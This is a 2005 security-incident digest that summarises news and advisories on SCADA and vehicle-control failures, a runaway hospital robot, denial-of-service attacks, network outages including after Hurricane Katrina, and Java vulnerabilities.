2005-07-06		supervisory control data acquisition SCADA system failure software quality assurance QA failure bug flaw air pollution human safety health power generator emissions monitor

RISKS; <http://tinyurl.com/dvtga>

23

93

SCADA SYSTEM FAILURE CAUSES AIR POLLUTION

Bill Hopkins relays a report from Pennsylvania:

>Our local newspaper reports in print (but not on line) that Exelon Power's Cromby generator in Phoenixville, PA exceeded pollution limits for seven months in 2004 after an unidentified "vendor" programmed an emissions monitor for the wrong standards, and that the company will pay 600 grand. Websites for the company and the PA Dept of Environmental Protection confirm the story. Exelon is the parent company of PECO Energy, formerly Philadelphia Electric Co., which supplies power to the area.

Cromby has two generators, one coal-fired and one switchable between oil and natural gas. The vendor ("a big company" says Exelon) set the monitor for the coal-fired unit to standards for the other unit. (I would guess that the SO2 limits for oil might be higher.) Exelon discovered the problem while aggregating data "for a large use," stopped it and turned itself in. DEP assesses a fine for each day of violation.

Risks for a company: trusting the dials and trusting the vendor when you're on the hook.

Risks for the rest of us: breathing in.<

<i>Category</i>	<i>21.4</i>	<i>SCADA (supervisory control and data acquisition) systems, vehicle controls</i>
2005-09-17		avionics software quality assurance QS glitch error bug flaw disaster control SCADA supervisory control data acquisition

RISKS; <http://tinyurl.com/bkg7d>

24

05

SOFTWARE FAILURE HIJACKS MALAYSIAN AIRLINES BOEING 777

The Australian (17 Sep 2005) has a chilling story about the pilots of a Malaysian Airlines 777 flying from Perth to Kuala Lumpur last month battling to regain control after an "unknown computer error" caused the aircraft to pitch violently, and brought it close to stalling.

An Australian Transport Safety Bureau report ... released yesterday reveals the pilot in command disconnected the autopilot and lowered the plane's nose to prevent a stall, after incorrect data from a supposedly fail-safe device caused the plane to pitch up and climb 3000ft, cutting its indicated air speed from 500kmh to 292kmh, activating a stall warning and a "stickshaker". [A stickshaker vibrates the aircraft's controls to warn the pilot when he is approaching stall speed ... which, you know, means the plane is about to fall out of the air.]

The system refused to give up control, however. It increased the power on the automatic throttle, forcing the pilot to counter by pushing the thrust levers to the idle position. The aircraft immediately pitched up again, and climbed 2000ft.

The pilot turned back to Perth under manual control. When he kicked in the two autopilot systems, the plane banked to the right, and the nose pitched down.

On its landing approach, at 3000ft, the flight display gave a low airspeed warning and the auto-throttle increased thrust. The warning system also indicated a dangerous windshear, but the crew landed the jet safely.

According to the report, "investigations are focusing on faulty acceleration figures supplied by a device called the Air Data Inertial Reference Unit". The ADIRU collates aircraft navigation and performance data from other systems and passes the information to the primary flight computer.

What's potentially more disturbing, however -- and neither the Transport Safety Bureau nor The Australian appear to have picked this up -- is that a US FAA directive ... in June this year highlighted other problems with the Boeing 777's ADIRU.

Boeing has told operators of the jet -- which by the way has the best safety record of any aircraft ... -- to load a previous software version.

[Summary by Charles Wright][

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*
2005-10-18 automobile control system software engineering design flaw quality assurance QA driving brakes failsafe stupid insane nuts gaga

RISKS; 24 08
<http://www.informationweek.com/story/showArticle.jhtml?articleID=170702055>

WHO THINKS OF THESE SYSTEMS? AND WHAT DRUGS ARE THEY ON?

Peter Scott comments on possibly the worst idea in automotive design history:

>Toyota is testing technology meant to keep a driver's eyes on the road, according to The Associated Press. The technology employs a camera attached near the car's steering wheel and image-processing software that recognizes when the driver isn't facing forward. The system flashes a light on the dashboard and beeps when the driver looks away, according to the AP. If the driver doesn't respond, *the brakes are applied automatically*. The feature will be in Lexus luxury models to be sold in Japan next spring.

Well, *that* sounds reliable... I feel safer already.

I hope they paint them a distinctive color so I can recognize them on the road and stay well away...<

Category 21.4 *SCADA (supervisory control and data acquisition) systems, vehicle controls*
2005-11-09 **quality assurance QA fail-safe denial of service DoS safety-critical system design emergency override**

RISKS; <http://archiv.tagesspiegel.de/archiv/09.11.2005/2163080.asp> (in German) 24 09

FAIL-SAFE DIDN'T: BERLIN TUNNEL TESTS SNARL TRAFFIC

After a night of repairs to one of the autobahn tunnels in Berlin the crew wanted to test the fire alarm system. They tried starting some of the fire alarms, and were worried that the automatic gates that are to keep cars from entering a tunnel with a possible fire weren't closing right. They punched more and more alarms, and the gates on both tunnel tubes (work was going on in only one tube) suddenly banged closed - and the computer regulating them crashed.

The gates failed safe -- but they couldn't be opened again. Not by hand, and not by computer, which just refused to start again. They worked feverishly from 5am to 10am, trying to get the gates open again so that traffic (which is normally very heavy at that time of the morning), could move. [I'm glad I took the train yesterday! -dww]

Police were able to evacuate cars trapped in the tunnel by way of an exit from the tunnel, which was not gated.

A special complication was that the gates on the north end of the tunnel were made by a different company than the gates on the south end of the tunnel, this caused "additional problems". Which ones, are left to the comp.risks readers as an exercise.

It is still not clear how the error happened or why the computer would not re-start, speculation has it that the computer couldn't handle so many fire alarms at the same time.

Moral of the story:

- * It was good that the system failed safe.
 - * It was bad that it did not seem able to handle the number of fire alarms that are installed in the tubes.
 - * If you have different suppliers for parts, you want to make sure they are still delivering the same stuff.

[Summary by Debora Weber-Wulff]

21.5 Robots, botnets

Category 21.5

Robots, botnets

2005-06-15

robot control failure flaw danger software quality assurance QA

RISKS; <http://tinyurl.com/8c6ct>; <http://tinyurl.com/cmee5>

23

92

WALDO GOES WILD

The Register published this tongue-in-cheek report on a robot gone off its nut:

* Robot runs riot at California hospital *

Staff and patients at San Francisco's UCSF Medical Center were left fearful and shaken last week, when a robotic nurse threw off its shackles and went on the rampage.

"Waldo", a robot used to dispense pills and potions to medical stations at the top notch medical facility, refused to return to the pharmacy to pick up a fresh stash at the end of his rounds, according to the San Francisco Chronicle. Instead, the crazed automaton – reportedly the size of a good-sized TV, which in California means it must be at least the size of the average British garden shed -- careened past the drug depository before barging into a room in the hospital's radiation oncology department where an examination was in progress. The psychotic pill pusher reportedly refused to leave, sending both doctor and patient fleeing for their lives.

"This is the first time anything like this has happened," a hospital spokesman told the paper. "Our technology folks are going to have to take a look." Yeah, if they can find him. The 'bot's clearly gone bad, and is probably even as we speak cruising the city's Tenderloin district pushing purloined prescription pain killers, paying off dirty cops and menacing lost tourists.

Even more worryingly, the spokesman said nothing about shutting down Waldo's two colleagues, dubbed Elvis and Lisa Marie. A terrible accident waiting to happen? We think so.

22.1 DoS attacks

Category 22.1 *DoS attacks*

2005-02-24

Japanese government Website attack denial of service DoS

DHS IAIP Daily; <http://www.nytimes.com/aponline/technology/AP-Japan-Cyber-Attack.html>?

JAPANESE GOVERNMENT HIT BY CYBER ATTACKS

A series of cyber attacks disrupted Japanese government computer networks this week, although no damage was reported, Japan's top government spokesperson said Thursday, February 24. The attacks, three times each on Tuesday and Wednesday, targeted the Prime Minister's Office and the Cabinet Office, causing computers to freeze up under a deluge of data and made it impossible for anyone to access the two Websites, Chief Cabinet Secretary Hiroyuki Hosoda said. There was no significant damage, since the attacks were not designed to destroy key programs, and the government networks have since returned to normal operations, he said. Officials are investigating who launched the attack, but having trouble tracking the data. "We don't know whether the attack came from inside or outside the country," Hosoda said.

Category 22.1 *DoS attacks*

2005-05-02

Mtp Target software denial of service DoS vulnerabilities no update issued

DHS IAIP Daily; <http://secunia.com/advisories/15195/>

MTP TARGET FORMAT STRING AND DENIAL OF SERVICE VULNERABILITIES

Two vulnerabilities in Mtp Target, which can be exploited to malicious people to cause a DoS (Denial of Service) or compromise a user's system. A format string error in the client code when displaying messages from other users can be exploited to execute arbitrary code on a user's system. A signed error in the server code can be exploited by a client to crash the game via a specially crafted parameter. There is no solution at this time.

Category 22.1 *DoS attacks*

2005-10-15

denial of service DoS SMS cellular mobile phone

Cryptogram

SMS CAUSES A MESS

Bruce Schneier writes:

Turns out you can jam cell phones with SMS messages. Text messages are transmitted on the same channel that is used to set up voice calls, so if you flood the network with one, then the other can't happen. The researchers believe that sending 165 text messages a second is enough to disrupt all the cell phones in Manhattan.

22.2 DDoS attacks

Category 22.2 DDoS attacks

2005-02-24 **DDoS attacks target Japanese government Web network damage data functioning**

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/10980656.htm>

DDOS ATTACKS TARGET JAPANESE GOVERNMENT WEB SITES

Distributed denial-of-service attacks targeting the Japanese Prime Minister's Office and Cabinet Office this week caused severe network slowdowns and prevented access to the two Web sites, according to Chief Cabinet Secretary Hiroyuki Hosoda. The cyber attacks caused no significant damage, evidently not having been designed to destroy data, and the affected networks have returned to normal functioning. Similar attacks on several Japanese ministries in August and January 2004 temporarily froze their Web servers. The Japanese government has not yet identified the attackers.

Category 22.2 DDoS attacks

2005-03-14 **Internet Storm Center ISC hacking attacks Website hosting servers Domain Name System DNS cache poisoning denial of service DoS virus attacks**

DHS IAIP Daily; <http://www.techweb.com/wire/security/159402730>

WEEKEND ATTACK INFECTS HOSTING SERVERS

The Internet Storm Center (ISC) tracked a large-scale hack over the weekend that infected site-hosting servers, which in turn transformed all the hosted sites into distributors of malicious code. "We have received reports and evidence that a number of companies that provide shared hosting Web servers have had their servers exploited and all of the customer homepages modified so that visitors are attacked," said the Storm Center's Daniel Wesemann Sunday, March 13, in an online posting. It seems that the attack used both direct and indirect means to infect users, said the ISC. But ICS also found some evidence that a DNS cache poisoning attack was part of the program. "We are not quite sure yet how this is being done, as the files that we've received so far do not seem to contain DNS/DHCP poisoning code." This latest incident of DNS cache poisoning is unrelated to an earlier event this month, which was created by exploiting vulnerabilities in Symantec's gateway products.

Category 22.2 DDoS attacks

2005-05-07 **distributed denial-of-service DDoS spam unsolicited commercial e-mail flooding zombies restrictions SMTP servers**

RISKS 23 88

RUMPELSTILTSKIN ATTACK FLOODS NETWORKS

Brett Glass reported on a wave of fraudulent traffic from zombies testing for real e-mail addresses by generating likely candidates. "As described in a paper I wrote several years ago (where I coined the term for lack of a better existing one), it is an e-mail address harvesting attack in which a machine attempts to send e-mail messages to randomly guessed addresses at a domain. It might try common first names -- for example, 'john@domain.com,' 'joe@domain.com,' and 'mike@domain.com' -- and then proceed to common last names and combinations of names and initials. (In some cases, we've seen some very unusual guesses that appear to have been extracted from lists of AOL screen names.) If mail for a guessed address is accepted, the "zombie" machine records the address and sends it back to its 'master' -- a controlling machine which adds it to a database of addresses which will become targets for spam."

Glass concludes with recommendations:

>Because the "zombies" are generally not mail servers, the most effective way to mitigate these attacks -- though it might offend the sensibilities of the "Orthodox End-to-Endians" -- is for ISPs and enterprises to block outgoing port 25 traffic from client computers that are not designated as, or intended to be, mail servers. These computers should send outgoing mail only through a designated mail server, which in turn monitors them for excessive outgoing traffic.

ISPs' firewalls should monitor and log attempts to send such traffic, so that infected machines can be spotted and cleansed of their infections.

As I've mentioned above, there will be some people who are philosophically opposed to the notion of restricting Internet traffic so as to limit abuse. Alas, such idealism is inappropriate for the real world, where spam is now consuming so many resources that it threatens not only to choke off not only legitimate e-mail but to consume the lion's share of ISPs' bandwidth.<

Category 22.2 DDoS attacks

2005-05-24 **Federal Trade Commission FTC Internet Service Providers ISP zombies service cutoff hijacked computers China spam**

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=8592338>

FTC FIGHTING ZOMBIES

The Federal Trade Commission (FTC) will appeal to 3,000 Internet service providers (ISPs) worldwide to help identify and cut off service to hijacked computers. Such "zombies," as they are commonly called, are used by spammers to send millions of unsolicited e-mails. By some accounts, zombie machines send 50 to 80 percent of all spam. Though not requirements, the FTC's recommendations include monitoring subscriber accounts for large amounts of e-mail coming from a particular machine and helping those customers with hijacked computers clean their systems. The FTC said that 25 other countries are participating in the effort, though China--the country believed to be the source of a large percentage of the world's spam--is not one of them. Dave McClure, president of the U.S. Internet Industry Association, said that most U.S. ISPs already do most or all of the things recommended by the FTC. He noted that ISPs are forbidden by law from reading subscriber e-mails, saying that it can be difficult to distinguish between "spam coming across your network and your local charitable organization sending out its monthly newsletter." Reuters, 24 May 2005

22.4 Accidental availability disruptions

<i>Category</i>	22.4	<i>Accidental availability disruptions</i>		
2005-02-17		denial of service DoS wireless mouse batteries		
RISKS			23	73

A BATTERY OF RISKS

Peter Pankonin pointed out yet another denial-of-service problem to worry about:

>This week a user complained that his computer system had locked up. He had typed away on a document for an hour (without saving of course) and couldn't move the mouse. Rebooting didn't fix the problem.

I was summoned to investigate, whereupon I noticed that the mouse pointer was indeed frozen at the center of the screen. Interestingly enough the keyboard still worked. Then I noticed that there was no red light emanating from his wireless optical mouse. After a quick installation of fresh batteries, the system magically recovered. Unfortunately, I was unable to recover the data lost after he rebooted.<

<i>Category</i>	22.4	<i>Accidental availability disruptions</i>		
2005-04-15		denial of service disaster recovery failure electric power backup generator automatic cutover alternate center monetary losses		
RISKS			23	84

MAJOR AUSTRALIAN TV STATION SUFFERS CHAIN OF DISASTERS

Peter G. Neumann summarized the sequence of disasters that cost a TV network a great deal of money:

Ch7 is one of the three national commercial TV stations in Australia. On the evening of 13 Apr 2005 they had a power failure and a back-up power failure in Melbourne, the automatic cutover to an alternate broadcast center failed, and the national phone system failed. All national transmissions come from a single center. Almost a million viewers had 41 minutes of the blank screen. Lost ad revenues were estimated at AU\$600,000. The cause was apparently not known.

<i>Category</i>	22.4	<i>Accidental availability disruptions</i>		
2005-06-15		denial of service DoS software quality assurance QA database error indexing cellular mobile telephone		
RISKS; http://www.aftenposten.no/english/local/article1059215.ece			23	90

DATABASE ERROR MAKES HALF OF NORWAY'S CELLPHONES GO OFFLINE

Customers of Netcom, the second largest cellular provider in Norway, experienced sporadic or close to no service for days earlier this week. Companies that earlier abandoned "normal" phones and went all cellular are now installing land phones and/or IP phones.

>"Hundreds of thousands of customers and a government minister alike remained up in arms Tuesday, after losing use of their mobile telephones in recent days. ... NetCom has actively promoted the concept of the "wireless office," and companies from building giant NCC to Aftenposten have made the switch, also as a means of saving money. Instead, it's left them vulnerable to communications breakdown and even dangerous situations."<

Problem? Database indexing issues, after a upgrade the previous week.

[Abstract, excerpt and comment from Olav Langeland]

Category 22.4 Accidental availability disruptions
2005-06-20 **denial of service outage cable network cash transactions mobile phone Internet services stock exchange**

RISKS; 23 91
<http://www.informationweek.com/story/showArticle.jhtml?articleID=164900973>

NEW ZEALAND OUTAGE SHUT DOWN STOCK EXCHANGE

A major outage in New Zealand Telecom Corp.'s cable network Monday disrupted data services, electronic cash transactions, mobile phone, and Internet services, as well as shutting down the nation's stock exchange for hours (the third time in the past nine months that data link failures have halted trading). Widespread disruption to business and private services was caused by two cable breaks on its North Island network. They were repaired by mid-afternoon Monday--at least five hours after they occurred. [Internet service and mobile phones were also out of commission due to two cable breaks. MHS]

The outage was caused by two separate incidents, including a fiber cable break north of the capital, Wellington, and a second cable being cut in Taranaki province on the west coast of North Island, more than 300 kilometers (188 miles) north of Wellington.

[Contributed by Marcus H. Sachs with additional abstracting by Peter G. Neumann]

Category 22.4 Accidental availability disruptions
2005-06-21 **Blackberry nationwide cellular network outage blackout denial-of-service DoS**

DHS IAIP Daily; <http://www.nytimes.com/aponline/technology/AP-Blackberry-Outage.html>

BLACKBERRY NETWORK DOWN FOR HOURS

The BlackBerry e-mailservice suffered a nationwide outage Friday morning, June 17, but the nearly four-hour disruption only appeared to affect devices connected to certain types of cellular networks. Although Research in Motion Ltd. (RIM), which makes the popular mobile devices and provides a service connecting them to corporate networks, did not respond to phone calls seeking comment, Cingular Wireless, T-Mobile USA, and Nextel Communications Incorporated confirmed the outage. Cingular Wireless said RIM's outage lasted for three hours and 49 minutes, while T-Mobile USA said service was restored by noon EDT. Nextel Communication Incorporated reported that only some customers experienced trouble, and in those cases it was a delay in e-mails rather than a full-fledged service disruption. Both Verizon Wireless and Sprint Corporation said there were no complaints from their customers at all, possibly due to their reliance on cellular networks based on a technology called Code Division Multiple Access (CDMA); the three cellular carriers who experienced the service disruption rely on alternate technology-based cellular networks other than CDMA.

Category 22.4 Accidental availability disruptions
2005-06-22 **Blackberry nationwide cellular network outage blackout denial-of-service DoS second week**

DHS IAIP Daily;
http://news.com.com/BlackBerry+endures+another+outage/2100-1_039_3-5758043.html?tag=nefd.top

BLACKBERRY ENDURES SECOND OUTAGE IN A WEEK

A number of BlackBerry handheld wireless devices experienced service problems on Wednesday, June 22, marking the second time in less than a week that the popular devices lost their data connections. A RIM representative said a hardware failure Wednesday triggered a backup system that operated at a lower capacity "than expected." Service has been restored, she said. BlackBerry customers, including a federal agency in Washington, DC, were told by RIM on Wednesday of an outage affecting accounts nationwide and across all carriers, according to an e-mailfrom RIM. Cell phone operator T-Mobile USA said an undisclosed number of its BlackBerry subscribers in Manhattan had only sporadic e-mailand other kinds of data service Wednesday. These problems were not related to what appears to be a nationwide Blackberry outage, according to a RIM representative.

<i>Category</i>	22.4	<i>Accidental availability disruptions</i>
2005-06-28		Internet crash distributed denial-of-service Pakistan disaster

DHS IAIP Daily;

<http://www.cnn.com/2005/WORLD/asiapcf/06/28/pakistan.internet/index.html>

INTERNET CRASHES IN PAKISTAN

An undersea cable carrying data between Pakistan and the outside world has developed a serious fault, virtually crippling data feeds, including the Internet, telecommunications officials said. The system crashed late on Monday, June 27, and was still down on Tuesday evening. Many offices across the country ground to a halt as people realized it was not one of Pakistan's regular, but usually brief, technical hitches. An official at the Karachi stock exchange said Pakistan's main bourse was unaffected as it had its own internal trading system. Fixing it would entail an interruption for other countries using the link, including India, Dubai and Oman, one company official said. But the impact on neighboring countries would be limited and the repairs would begin at 4 a.m. on Wednesday (2300 GMT on Tuesday) to minimize any disruption, he said. Airlines and credit card companies were among the businesses hit by the crash. "It's a total disaster," said Nasir Ali, commercial director of the private Air Blue airline. "We have a Web-based booking system which has totally collapsed."

<i>Category</i>	22.4	<i>Accidental availability disruptions</i>		
2005-08-08		usability unexpected consequences bandwidth saturation		
RISKS			24	01

UNEXPECTED CONSEQUENCES OF LIMITED BANDWIDTH

Lauren Weinstein reported that Caltrans has started a 6-month experiment to put real-time travel times on freeway signs. The immediate result is apparently that traffic is tied up all over, as people slow down to read the signs!

[Abstract by Peter G. Neumann]

[MK comments: This is a case of bandwidth saturation of the limited human I/O channel (eyes), processor speed (reading) and computing architecture (lack of data buffer).] If everyone had an eidetic memory that could snap a visual image and then read it later, they wouldn't slow down to read the signs. Maybe we need brain v1.1?]

Category 22.4 *Accidental availability disruptions*
2005-08-31 **hurricane Katrina disaster telephone cable wireless link restoration communication recovery**

DHS IAIP Daily;

<http://www.clarionledger.com/apps/pbcs.dll/article?AID=/20050831/NEWS0110/508310392/1260>

RESTORING 260,000 LINES TO TAKE DAYS, WEEKS

Telephone and wireless communication could take weeks to restore in areas that took the brunt of Hurricane Katrina's blow. In less severe locations, it will likely only be days. Those time frames parallel how long it will likely take power companies to repair downed lines. Cellular companies report much of their loss of service has resulted from power outages that affected roughly 80 percent of the state. At a minimum, 260,000 telephones lines are down, resulting from uprooted trees that pulled cables as they fell, and water from flooding that seeped into equipment, said Mike Walker, a BellSouth spokesperson. Cingular Wireless said most network disruptions in Mississippi are in Jackson, Biloxi, Pascagoula, Bay St. Louis, Hattiesburg, Gulfport and Brookhaven. Alltel Corp., which has 190,000 Mississippi subscribers, reported 50 percent of its cell sites out of service. "We're moving more than 50 portable generators from Panama City, Florida" said the Arkansas-based company spokesperson Larry White. About 3,500 Alltel landline customers in Florence and Prentiss are also out of service, White said.

Category 22.4

Accidental availability disruptions

2005-09-01

hurricane Katrina disaster communication restoration New Orleans repair

DHS IAIP Daily;

<http://www.computerworld.com/networkingtopics/networking/vop/story/0,10801,104324,00.html>

TELECOMS STRUGGLING TO RESTORE SERVICE IN GULF COAST REGION

Cellular and other communication services have gradually improved in the Gulf Coast region, but service providers said Thursday, September 1, they still can't reach equipment in the flooded city of New Orleans to make needed repairs. Officials at Cingular Wireless LLC, Verizon Wireless, Sprint Corp. and BellSouth Corp. reported that with flooding and power outages in New Orleans, crews can't access cellular sites and switching stations for repairs. Of about 1 million landline phones in Louisiana that were out of service after the storm hit Monday, only 130,000 have been restored so far, said Bill Oliver, BellSouth's president of Louisiana operations. Telecommunications have improved, however, in places such as Baton Rouge, Mobile, AL, and Pensacola, FL, company spokespersons said. The carriers are all relying on backup generators and in some cases portable generators and cellular transceivers carried on panel trucks. When possible, the carriers are also increasing power to rooftop cell sites in New Orleans to boost signals, the spokespeople said. "This is much worse than the 9/11 emergency. It is not just a part of a city like New York," said Jeff Kagan, an independent telecommunications analyst in Atlanta, GA. Wireless providers urged callers to use text messaging as an alternative to voice calls, partly because it requires less bandwidth.

Category 22.4

Accidental availability disruptions

2005-09-05

hurricane Katrina disaster communications cut down satellite phone links

DHS IAIP Daily; http://www.usatoday.com/tech/wireless/2005-09-05-satellite-phones_x.htm

SATELLITE PHONES PROVIDE CRITICAL LINK TO OUTSIDE WORLD

Satellite phones are serving as critical lifelines in Gulf Coast areas that lack other phone services. The National Guard, the American Red Cross, utility workers, reporters and people in search of relatives are among those using satellite phones to communicate. More than a million customers in Louisiana, Mississippi and Alabama are still without landline phone service, BellSouth says. And cell phone service has been spotty at best along the Gulf Coast. Typically, poles or wires were downed and power outages knocked out service to the digital gear and cell phone towers that are the lynchpins of landline and wireless networks. Satellite phones communicate directly with satellites that hover more than 500 miles high and work virtually everywhere around the globe. U.S. satellite phone providers Globalstar and Iridium note the phone generally must be used outdoors, and its antenna should be pointed skyward and have a clear line of sight to the satellite. Batteries supply about eight hours of talk time but can be recharged using a wall unit or a car's power adaptor.

Category 22.4

Accidental availability disruptions

2005-09-06

hurricane Katrina disaster communications cut down wireless carriers restore service

DHS IAIP Daily; <http://rcrnews.com/news.cms?newsId=24016>

WIRELESS CARRIERS BEGIN TO RESTORE SERVICE

Wireless carriers continued to make progress in re-establishing wireless communications to the Gulf Coast region following Hurricane Katrina. Cingular Wireless L.L.C. reported that as of Monday, September 5, it had fully restored service in Mobile, AL, and Jackson, MS, and that most coverage capacity has been re-established in and around Biloxi, MS. Customers in Meridian, Hattiesburg, and Gulfport, MS, were able to send and receive calls at reduced levels. Cingular also noted that some calls are going through in New Orleans and surrounding areas, but at reduced levels. BellSouth Corp. estimated that 810,000 lines remain impacted in the hardest-hit areas of the Gulf Coast. BellSouth released initial financial estimates of between \$400 million and \$600 million for both capital and expenses for network restoration. Verizon Wireless said it was providing improved service in areas southwest of New Orleans and was making progress in areas north of Lake Pontchartrain as well as in Baton Rouge and Mississippi. Central New Orleans continues to have widespread outages with limited coverage. Sprint Nextel Corp. reported similar progress in Mississippi, Alabama and Florida. T-Mobile USA Inc. said it had restored wireless service to a "significant level" in New Orleans. Alltel Corp. has restored service in portions of Jackson, MS, and much of Baton Rouge.

Category 22.4

Accidental availability disruptions

2005-09-07

hurricane Katrina disaster communication cut down back on grid FCC

DHS IAIP Daily;

http://www.wired.com/news/hurricane/0,2904,68779,00.html?tw=wn_tophead_1

GETTING THE GULF COAST BACK ON THE COMMUNICATIONS GRID

Hurricane Katrina wiped out communications systems throughout the Gulf States, and much of the impacted region remains cut off from voice and data service. On Friday, September 2, the Federal Communications Commission (FCC) held a conference call with wireless Internet service providers and infrastructure experts to coordinate volunteer efforts for storm-ravaged areas. FCC staff asked organizers to help gather data from those offering to donate resources -- from satellites to power generators to spare parts -- to help reconnect the effected areas. These improvised networks will initially target the needs of first responders tasked with rescue, relief and security services. FCC chief of staff Daniel Gonzalez says the commission is waiving some red tape to speed things up. Those waivers include permission for volunteers to launch a low-power FM radio station in Louisiana -- an LPFM, which would usually be called "pirate radio."

Category 22.4

Accidental availability disruptions

2005-09-19

hurricane Katrina disaster denial-of-service accidental overwhelmed Red Cross Website online transactions donations

DHS IAIP Daily; <http://www.eweek.com/article2/0,1895,1860051,00.asp>

DONATIONS OVERWHELM RED CROSS STAFF, SITE

In the wake of Hurricane Katrina the Red Cross was faced with an overwhelmed IT infrastructure that was unable to handle the numerous online donations. After the tsunami in Southeast Asia last December, the Red Cross faced a huge number of online donations in which the IT staff worked long hours and offloaded some of the transaction processing to technology partners. However the donation system still wasn't ready for Hurricane Katrina. Dave Clarke, chief technology officer at the Red Cross stated, "As soon as we understood the magnitude of the tragedy, we knew the money would be coming in. When we began to see the initial transaction volume, we determined that if it continued on that growth curve, we would run out of capacity. And we knew we had to get ready."

Category 22.4

Accidental availability disruptions

2005-10-19

Glitch outages California phone Internet Long Beach Hermosa Beach Newport Beach Whittier Garden Grove Verizon software error

DHS IAIP Daily; <http://www.latimes.com/news/printedition/la-me-phones19oct19,1,4316471.story?ctrack=1&cset=true>

GLITCH RESULTS IN PHONE OUTAGES FOR THOUSANDS

At least 150,000 customers in Southern California lost their phone and Internet service for up to 12 hours Tuesday, October 18, because of a computer glitch at a Long Beach central switching plant. The outage struck communities from Hermosa Beach to Newport Beach along the coast and as far inland as Whittier and Garden Grove. According to Verizon, the problem was caused by a software error in a downtown Long Beach office of Verizon Communications Inc. The malfunction corrupted the main software that connects calls and operates the local network.

Category 22.4

Accidental availability disruptions

2005-10-21

disruption Level 3 network Internet availability

DHS IAIP Daily; <http://www.informationweek.com/showArticle.jhtml;jsessionid=NXVYLVXLHSQCMQSNDBCCKHSCJUMEKJVN?articleID=172303270>

MAJOR DISRUPTION IN LEVEL 3 NETWORK SLOWS INTERNET TRAFFIC

The Internet has been slower due to a major disruption of service from tier one carrier Level 3 Communications on October 21. The disruption caused increases in Internet response times and drops in availability. In addition, Websites were unreachable and service was shut off for some users. According to George Roettger, Internet security specialist for NetLink Services Inc, "I don't think I've ever seen an entire backbone network go down like that before."

Category 22.4

Accidental availability disruptions

2005-10-26

Power outages phone FL batteries cellular Wilma Verizon Wireless

DHS IAIP Daily;

<http://www.palmbeachpost.com/search/content/business/epaper/>

2005/10/26/a2d_phones_1026.html

POWER OUTAGES DRAG DOWN PHONE SERVICE

Palm Beach County, FL, experienced widespread power outages Tuesday, October 25, after a day without electricity drained backup batteries for cellular and land-line systems in the aftermath of Hurricane Wilma. Most phones were operating Monday morning, October 24, while Hurricane Wilma crossed Palm Beach County and the Treasure Coast. After the power failed, those systems ran on batteries that generally last from four to 10 hours, depending on usage. Phone service was sporadic on Tuesday, as batteries began to fail. Chuck Hamby, spokesperson for Verizon Wireless, said "It worked very well through the storm, but then with the power outages, more and more cell sites dropped out of the network." Many cellular towers have built-in generators that can power the towers for five to seven days. Most providers said Hurricane Wilma did not cause much structural damage to phone lines and towers.

Category 22.4

Accidental availability disruptions

2005-12-01

Internet Net denial-of-service DoS United Kingdom UK BT

DHS IAIP Daily; http://news.com.com/Net+outage+hits+Brits/2100-1037_3-597837_4.html?tag=nefd.top

NET OUTAGE HITS UNITED KINGDOM

Internet service providers America Online, Virgin.net, Wanadoo and Zen Internet all confirmed that they had been hit by outages in the United Kingdom (UK) for several hours Wednesday, November 30. BT Group, the UK's telecommunications giant, said the glitches were due to a software problem linked to user authentication. Three servers were the cause of the problem, which affected customers randomly around the UK, according to BT. A BT representative said the outages resulted from increased congestion on the network, preventing fresh users from logging on, although those already connected via BT's broadband network experienced no service interruption. Although none of the ISPs could immediately provide precise information on how many end-users experienced problems, a Zen representative described the outages as "short term but significant," and a representative for Wanadoo said most ISPs had been touched by the problems at BT. AOL estimated that the number of its subscribers who experienced Internet connectivity problems could have reached 100,000. BT's representative said the company has launched an investigation into the problem.

23.1 Java

Category 23.1

Java

2005-01-20

**Sun Java plug-in two vulnerabilities security restrictions bypass malicious applet
JDK JRE 5.0 not affected**

DHS IAIP Daily; <http://secunia.com/advisories/13918/>

TWO VULNERABILITIES IN SUN JAVA PLUG-IN

Two vulnerabilities have been discovered in Sun Java Plug-in, which can be exploited by malicious people to bypass certain security restrictions or compromise a user's system. The first vulnerability involves an error in the Java Plug-in within the handling of JavaScript calling into Java code can be exploited by a malicious applet hosted on a Website to access and modify local files or execute local applications. This vulnerability has been fixed in SDK / JRE 1.4.2_01 and later, and SDK / JRE 1.3.1_13 and later. The second vulnerability involves an error in the way applets on the same Web page can interfere with each other can be exploited to load files and Web pages in another applet. This vulnerability has been fixed in SDK / JRE 1.4.2_06 and later, and SDK / JRE 1.3.1_13 and later. For both vulnerabilities, JDK and JRE 5.0 are not affected.

Category 23.1

Java

2005-01-28

**HP Tru64 UNIX Java SDK/RTE denial of service DoS vulnerability JVM
unresponsive**

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0075>

HP TRU64 UNIX JAVA SDK/RTE DENIAL OF SERVICE VULNERABILITY.

A new vulnerability has been identified in HP Tru64 UNIX, which could be exploited by remote attackers to conduct denial of service attacks. The flaw resides in the Java Software Development Kit (SDK) and Run Time Environment (RTE). Object deserialization may allow a remote attacker to cause the Java Virtual Machine to become unresponsive, resulting in denial of service for the Runtime environment and servers that run on the Runtime Environment. Solution available: Java SDK and RTE v1.4.2-4 for HP Tru64 Unix: <http://h18012.www1.hp.com/java/download>

Category 23.1

Java

2005-02-14

**International Business Machines IBM Websphere server Java Server Pages source
code disclosure sensitive information update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14274/>

IBM WEBSPHERE APPLICATION SERVER JSP SOURCE CODE DISCLOSURE

A vulnerability has been reported in WebSphere Application Server, which can be exploited by malicious people to gain knowledge of potentially sensitive information. The vulnerability is caused due to an unspecified error allowing the source code of Java Server Pages ("*.jsp") to be disclosed via a specially crafted URL on the Windows platform. Original advisory and updates available at: <http://www-1.ibm.com/support/docview.wss?uid=swg24008814> and <http://www-1.ibm.com/support/docview.wss?uid=swg24008815>

Category 23.1

Java

2005-03-21

**Java Web Start JNLP file command line argument injection vulnerability sandbox
JVM disable Windows Solaris Linux update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14640/>

JAVA WEB START JNLP FILE COMMAND LINE ARGUMENT INJECTION VULNERABILITY

A vulnerability in Java Web Start, which can be exploited by malicious people to compromise a user's system. The vulnerability is caused due to an input validation error when handling property tags in JNLP files. This can be exploited to pass arbitrary command line arguments to the virtual machine by tricking a user into opening a malicious JNLP file. Successful exploitation can lead to the Java "sandbox" being disabled. The vulnerability has been fixed in J2SE releases 1.4.2_07 or later for Windows, Solaris and Linux.

Category 23.1

Java

2005-04-20

